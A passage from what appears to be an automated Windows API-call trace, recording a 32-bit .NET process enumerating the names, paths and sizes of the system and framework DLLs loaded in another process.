lpBaseName="GDI32.dll") returned 0x9 [0233.505] CoTaskMemFree (pv=0x4fb3308) [0233.505] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.505] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75810000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\GDI32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll")) returned 0x1d [0233.505] CoTaskMemFree (pv=0x4fb3308) [0233.505] GetModuleInformation (in: hProcess=0x284, hModule=0x75e10000, lpmodinfo=0x24b38a4, cb=0xc | out: lpmodinfo=0x24b38a4*(lpBaseOfDll=0x75e10000, SizeOfImage=0x100000, EntryPoint=0x75e2b6ed)) returned 1 [0233.506] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.506] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75e10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USER32.dll") returned 0xa [0233.506] CoTaskMemFree (pv=0x4fb3308) [0233.506] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.506] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75e10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USER32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll")) returned 0x1e [0233.506] CoTaskMemFree (pv=0x4fb3308) [0233.506] GetModuleInformation (in: hProcess=0x284, hModule=0x772c0000, lpmodinfo=0x24b59b0, cb=0xc | out: lpmodinfo=0x24b59b0*(lpBaseOfDll=0x772c0000, SizeOfImage=0xa000, EntryPoint=0x772c36a0)) returned 1 [0233.507] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.507] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x772c0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="LPK.dll") returned 0x7 [0233.507] CoTaskMemFree (pv=0x4fb3308) [0233.507] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.507] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x772c0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\LPK.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll")) returned 0x1b [0233.508] CoTaskMemFree (pv=0x4fb3308) [0233.508] GetModuleInformation (in: hProcess=0x284, hModule=0x75a30000, lpmodinfo=0x24b7aac, cb=0xc | out: lpmodinfo=0x24b7aac*(lpBaseOfDll=0x75a30000, SizeOfImage=0x9d000, EntryPoint=0x75a63fd7)) returned 1 [0233.508] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.508] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="USP10.dll") returned 0x9 [0233.508] CoTaskMemFree (pv=0x4fb3308) [0233.508] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.508] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\USP10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll")) returned 0x1d [0233.509] CoTaskMemFree (pv=0x4fb3308) [0233.509] GetModuleInformation (in: hProcess=0x284, hModule=0x75ae0000, lpmodinfo=0x24b9c3c, cb=0xc | out: lpmodinfo=0x24b9c3c*(lpBaseOfDll=0x75ae0000, SizeOfImage=0x60000, EntryPoint=0x75af158f)) returned 1 [0233.509] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.509] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="IMM32.DLL") returned 0x9 [0233.510] CoTaskMemFree (pv=0x4fb3308) [0233.510] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.510] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75ae0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\IMM32.DLL" (normalized: "c:\\windows\\system32\\imm32.dll")) returned 0x1d [0233.510] CoTaskMemFree (pv=0x4fb3308) [0233.510] GetModuleInformation (in: hProcess=0x284, hModule=0x75be0000, lpmodinfo=0x24bbd40, cb=0xc | out: lpmodinfo=0x24bbd40*(lpBaseOfDll=0x75be0000, SizeOfImage=0xcc000, EntryPoint=0x75be168b)) returned 1 [0233.510] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.510] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75be0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSCTF.dll") returned 0x9 [0233.511] CoTaskMemFree (pv=0x4fb3308) [0233.511] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.511] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75be0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\MSCTF.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll")) returned 0x1d [0233.511] CoTaskMemFree (pv=0x4fb3308) [0233.511] GetModuleInformation (in: hProcess=0x284, hModule=0x73610000, lpmodinfo=0x24bde44, cb=0xc | out: lpmodinfo=0x24bde44*(lpBaseOfDll=0x73610000, SizeOfImage=0x9000, EntryPoint=0x73611220)) returned 1 [0233.512] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.512] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73610000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="VERSION.dll") returned 0xb [0233.512] CoTaskMemFree (pv=0x4fb3308) [0233.512] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.512] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73610000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\VERSION.dll" (normalized: "c:\\windows\\system32\\version.dll")) returned 0x1f [0233.512] CoTaskMemFree (pv=0x4fb3308) [0233.513] GetModuleInformation (in: hProcess=0x284, hModule=0x72f40000, lpmodinfo=0x24bff50, cb=0xc | out: lpmodinfo=0x24bff50*(lpBaseOfDll=0x72f40000, SizeOfImage=0x6a8000, EntryPoint=0x73087040)) returned 1 [0233.513] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.513] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72f40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clr.dll") returned 0x7 [0233.513] CoTaskMemFree (pv=0x4fb3308) [0233.513] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.513] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72f40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clr.dll")) returned 0x35 [0233.514] CoTaskMemFree (pv=0x4fb3308) [0233.514] GetModuleInformation (in: hProcess=0x284, hModule=0x75540000, lpmodinfo=0x24c2080, cb=0xc | out: lpmodinfo=0x24c2080*(lpBaseOfDll=0x75540000, SizeOfImage=0xf5000, EntryPoint=0x75594160)) returned 1 [0233.514] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.514] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75540000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="MSVCR120_CLR0400.dll") returned 0x14 [0233.515] CoTaskMemFree (pv=0x4fb3308) [0233.515] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.515] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75540000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\MSVCR120_CLR0400.dll" (normalized: "c:\\windows\\system32\\msvcr120_clr0400.dll")) returned 0x28 [0233.515] CoTaskMemFree (pv=0x4fb3308) [0233.515] GetModuleInformation (in: hProcess=0x284, hModule=0x74310000, lpmodinfo=0x24c41b4, cb=0xc | out: lpmodinfo=0x24c41b4*(lpBaseOfDll=0x74310000, SizeOfImage=0x122b000, EntryPoint=0x0)) returned 1 [0233.516] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.516] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x74310000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="mscorlib.ni.dll") returned 0xf [0233.516] CoTaskMemFree (pv=0x4fb3308) [0233.516] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.516] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x74310000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\mscorlib\\b7a12c4c0032847fcc6b9c710460456f\\mscorlib.ni.dll")) returned 0x68 [0233.517] CoTaskMemFree (pv=0x4fb3308) [0233.517] GetModuleInformation (in: hProcess=0x284, hModule=0x77060000, lpmodinfo=0x24c635c, cb=0xc | out: lpmodinfo=0x24c635c*(lpBaseOfDll=0x77060000, SizeOfImage=0x15c000, EntryPoint=0x770aba3d)) returned 1 [0233.517] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.517] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77060000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="ole32.dll") returned 0x9 [0233.517] CoTaskMemFree (pv=0x4fb3308) [0233.517] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.517] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x77060000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll")) returned 0x1d [0233.518] CoTaskMemFree (pv=0x4fb3308) [0233.518] GetModuleInformation (in: hProcess=0x284, hModule=0x73e60000, lpmodinfo=0x24c8460, cb=0xc | out: lpmodinfo=0x24c8460*(lpBaseOfDll=0x73e60000, SizeOfImage=0x80000, EntryPoint=0x73e737c9)) returned 1 [0233.518] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.518] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73e60000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="uxtheme.dll") returned 0xb [0233.519] CoTaskMemFree (pv=0x4fb3308) [0233.519] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.519] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73e60000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll")) returned 0x1f [0233.520] CoTaskMemFree (pv=0x4fb3308) [0233.520] GetModuleInformation (in: hProcess=0x284, hModule=0x72590000, lpmodinfo=0x24ca56c, cb=0xc | out: lpmodinfo=0x24ca56c*(lpBaseOfDll=0x72590000, SizeOfImage=0x9ad000, EntryPoint=0x0)) returned 1 [0233.520] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.520] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x72590000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.ni.dll") returned 0xd [0233.521] CoTaskMemFree (pv=0x4fb3308) [0233.521] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.521] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x72590000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System\\500ffa28b327e171fe664023003e947e\\System.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system\\500ffa28b327e171fe664023003e947e\\system.ni.dll")) returned 0x64 [0233.521] CoTaskMemFree (pv=0x4fb3308) [0233.521] GetModuleInformation (in: hProcess=0x284, hModule=0x71e70000, lpmodinfo=0x24cc708, cb=0xc | out: lpmodinfo=0x24cc708*(lpBaseOfDll=0x71e70000, SizeOfImage=0x716000, EntryPoint=0x0)) returned 1 [0233.522] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.522] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71e70000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Core.ni.dll") returned 0x12 [0233.522] CoTaskMemFree (pv=0x4fb3308) [0233.522] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.522] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71e70000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Core\\386fde9190d499d6645df8b90eb76242\\System.Core.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.core\\386fde9190d499d6645df8b90eb76242\\system.core.ni.dll")) returned 0x6e [0233.523] CoTaskMemFree (pv=0x4fb3308) [0233.523] GetModuleInformation (in: hProcess=0x284, hModule=0x73c90000, lpmodinfo=0x24ce8c4, cb=0xc | out: lpmodinfo=0x24ce8c4*(lpBaseOfDll=0x73c90000, SizeOfImage=0x1cb000, EntryPoint=0x0)) returned 1 [0233.523] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.523] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73c90000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="Microsoft.VisualBasic.ni.dll") returned 0x1c [0233.524] CoTaskMemFree (pv=0x4fb3308) [0233.524] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.524] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73c90000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\Microsoft.V9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\Microsoft.VisualBasic.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\microsoft.v9921e851#\\cfbddeb6e93e8f421b92229b20e51233\\microsoft.visualbasic.ni.dll")) returned 0x81 [0233.524] CoTaskMemFree (pv=0x4fb3308) [0233.524] GetModuleInformation (in: hProcess=0x284, hModule=0x73f00000, lpmodinfo=0x24d0ab8, cb=0xc | out: lpmodinfo=0x24d0ab8*(lpBaseOfDll=0x73f00000, SizeOfImage=0x7d000, EntryPoint=0x73f01140)) returned 1 [0233.525] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.525] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73f00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="clrjit.dll") returned 0xa [0233.525] CoTaskMemFree (pv=0x4fb3308) [0233.525] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.525] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73f00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\clrjit.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\clrjit.dll")) returned 0x38 [0233.526] CoTaskMemFree (pv=0x4fb3308) [0233.526] GetModuleInformation (in: hProcess=0x284, hModule=0x76e30000, lpmodinfo=0x24d2bf8, cb=0xc | out: lpmodinfo=0x24d2bf8*(lpBaseOfDll=0x76e30000, SizeOfImage=0x8f000, EntryPoint=0x76e33fb1)) returned 1 [0233.526] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.526] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x76e30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="OLEAUT32.dll") returned 0xc [0233.527] CoTaskMemFree (pv=0x4fb3308) [0233.527] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.527] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x76e30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\OLEAUT32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll")) returned 0x20 [0233.527] CoTaskMemFree (pv=0x4fb3308) [0233.528] GetModuleInformation (in: hProcess=0x284, hModule=0x73b00000, lpmodinfo=0x24d4d0c, cb=0xc | out: lpmodinfo=0x24d4d0c*(lpBaseOfDll=0x73b00000, SizeOfImage=0x18d000, EntryPoint=0x0)) returned 1 [0233.528] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.528] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73b00000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Drawing.ni.dll") returned 0x15 [0233.529] CoTaskMemFree (pv=0x4fb3308) [0233.529] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.529] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73b00000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Drawing\\553c0312fdf5a5449f3649f0515e70fb\\System.Drawing.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.drawing\\553c0312fdf5a5449f3649f0515e70fb\\system.drawing.ni.dll")) returned 0x74 [0233.529] CoTaskMemFree (pv=0x4fb3308) [0233.529] GetModuleInformation (in: hProcess=0x284, hModule=0x71210000, lpmodinfo=0x24d6ed8, cb=0xc | out: lpmodinfo=0x24d6ed8*(lpBaseOfDll=0x71210000, SizeOfImage=0xc58000, EntryPoint=0x0)) returned 1 [0233.530] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.530] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71210000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Windows.Forms.ni.dll") returned 0x1b [0233.530] CoTaskMemFree (pv=0x4fb3308) [0233.530] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.530] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71210000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Windows.Forms\\7a6894982f35a1d75ec73d447c583da2\\System.Windows.Forms.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.windows.forms\\7a6894982f35a1d75ec73d447c583da2\\system.windows.forms.ni.dll")) returned 0x80 [0233.531] CoTaskMemFree (pv=0x4fb3308) [0233.531] GetModuleInformation (in: hProcess=0x284, hModule=0x73ee0000, lpmodinfo=0x24d90c8, cb=0xc | out: lpmodinfo=0x24d90c8*(lpBaseOfDll=0x73ee0000, SizeOfImage=0x16000, EntryPoint=0x73ee2dc3)) returned 1 [0233.532] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.532] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CRYPTSP.dll") returned 0xb [0233.532] CoTaskMemFree (pv=0x4fb3308) [0233.532] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.532] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\CRYPTSP.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")) returned 0x1f [0233.533] CoTaskMemFree (pv=0x4fb3308) [0233.533] GetModuleInformation (in: hProcess=0x284, hModule=0x73ac0000, lpmodinfo=0x24db2e0, cb=0xc | out: lpmodinfo=0x24db2e0*(lpBaseOfDll=0x73ac0000, SizeOfImage=0x3b000, EntryPoint=0x73ac128d)) returned 1 [0233.533] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.533] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73ac0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="rsaenh.dll") returned 0xa [0233.534] CoTaskMemFree (pv=0x4fb3308) [0233.534] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.534] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73ac0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")) returned 0x1e [0233.535] CoTaskMemFree (pv=0x4fb3308) [0233.535] GetModuleInformation (in: hProcess=0x284, hModule=0x73a30000, lpmodinfo=0x24dd3ec, cb=0xc | out: lpmodinfo=0x24dd3ec*(lpBaseOfDll=0x73a30000, SizeOfImage=0x84000, EntryPoint=0x73a319a9)) returned 1 [0233.535] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.535] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a30000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0233.536] CoTaskMemFree (pv=0x4fb3308) [0233.536] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.536] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a30000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll")) returned 0x7b [0233.536] CoTaskMemFree (pv=0x4fb3308) [0233.536] GetModuleInformation (in: hProcess=0x284, hModule=0x73a10000, lpmodinfo=0x24df5b4, cb=0xc | out: lpmodinfo=0x24df5b4*(lpBaseOfDll=0x73a10000, SizeOfImage=0x13000, EntryPoint=0x73a118f0)) returned 1 [0233.537] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.537] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73a10000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="nlssorting.dll") returned 0xe [0233.538] CoTaskMemFree (pv=0x4fb3308) [0233.538] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.538] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73a10000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\nlssorting.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\nlssorting.dll")) returned 0x3c [0233.538] CoTaskMemFree (pv=0x4fb3308) [0233.538] GetModuleInformation (in: hProcess=0x284, hModule=0x73940000, lpmodinfo=0x24e1704, cb=0xc | out: lpmodinfo=0x24e1704*(lpBaseOfDll=0x73940000, SizeOfImage=0xc5000, EntryPoint=0x0)) returned 1 [0233.539] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.539] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x73940000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="System.Runtime.Remoting.ni.dll") returned 0x1e [0233.539] CoTaskMemFree (pv=0x4fb3308) [0233.539] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.540] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x73940000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\assembly\\NativeImages_v4.0.30319_32\\System.Runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\System.Runtime.Remoting.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_32\\system.runt73a1fc9d#\\7dc02b53cd1fa9685d4cf9a94fe7998c\\system.runtime.remoting.ni.dll")) returned 0x83 [0233.540] CoTaskMemFree (pv=0x4fb3308) [0233.540] GetModuleInformation (in: hProcess=0x284, hModule=0x71080000, lpmodinfo=0x24e3900, cb=0xc | out: lpmodinfo=0x24e3900*(lpBaseOfDll=0x71080000, SizeOfImage=0x190000, EntryPoint=0x7111d026)) returned 1 [0233.541] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.541] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x71080000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="gdiplus.dll") returned 0xb [0233.542] CoTaskMemFree (pv=0x4fb3308) [0233.542] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.542] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x71080000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.17514_none_72d18a4386696c80\\gdiplus.dll")) returned 0x71 [0233.543] CoTaskMemFree (pv=0x4fb3308) [0233.543] GetModuleInformation (in: hProcess=0x284, hModule=0x70ee0000, lpmodinfo=0x24e5ab0, cb=0xc | out: lpmodinfo=0x24e5ab0*(lpBaseOfDll=0x70ee0000, SizeOfImage=0x19e000, EntryPoint=0x70f0e6b5)) returned 1 [0233.543] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.543] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70ee0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="comctl32.dll") returned 0xc [0233.544] CoTaskMemFree (pv=0x4fb3308) [0233.544] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.544] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70ee0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\WinSxS\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_41e6975e2bd6f2b2\\comctl32.dll")) returned 0x7a [0233.545] CoTaskMemFree (pv=0x4fb3308) [0233.545] GetModuleInformation (in: hProcess=0x284, hModule=0x735f0000, lpmodinfo=0x24e7c78, cb=0xc | out: lpmodinfo=0x24e7c78*(lpBaseOfDll=0x735f0000, SizeOfImage=0x13000, EntryPoint=0x735f1d3f)) returned 1 [0233.545] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.545] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x735f0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="dwmapi.dll") returned 0xa [0233.546] CoTaskMemFree (pv=0x4fb3308) [0233.546] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.546] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x735f0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")) returned 0x1e [0233.547] CoTaskMemFree (pv=0x4fb3308) [0233.547] GetModuleInformation (in: hProcess=0x284, hModule=0x75b40000, lpmodinfo=0x24e9d84, cb=0xc | out: lpmodinfo=0x24e9d84*(lpBaseOfDll=0x75b40000, SizeOfImage=0x83000, EntryPoint=0x75b423d2)) returned 1 [0233.547] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.547] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x75b40000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="CLBCatQ.DLL") returned 0xb [0233.548] CoTaskMemFree (pv=0x4fb3308) [0233.548] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.548] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x75b40000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0233.549] CoTaskMemFree (pv=0x4fb3308) [0233.549] GetModuleInformation (in: hProcess=0x284, hModule=0x70de0000, lpmodinfo=0x24ebe90, cb=0xc | out: lpmodinfo=0x24ebe90*(lpBaseOfDll=0x70de0000, SizeOfImage=0xfb000, EntryPoint=0x70df17e1)) returned 1 [0233.550] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.550] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x70de0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0233.550] CoTaskMemFree (pv=0x4fb3308) [0233.550] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.550] GetModuleFileNameExW (in: hProcess=0x284, hModule=0x70de0000, lpFilename=0x4fb3308, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0233.551] CoTaskMemFree (pv=0x4fb3308) [0233.551] GetModuleInformation (in: hProcess=0x284, hModule=0x77ae0000, lpmodinfo=0x24edfb4, cb=0xc | out: lpmodinfo=0x24edfb4*(lpBaseOfDll=0x77ae0000, SizeOfImage=0x5000, EntryPoint=0x77ae1438)) returned 1 [0233.552] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 [0233.552] GetModuleBaseNameW (in: hProcess=0x284, hModule=0x77ae0000, lpBaseName=0x4fb3308, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0233.552] CoTaskMemFree (pv=0x4fb3308) [0233.552] CoTaskMemAlloc (cb=0x804) returned 0x4fb3308 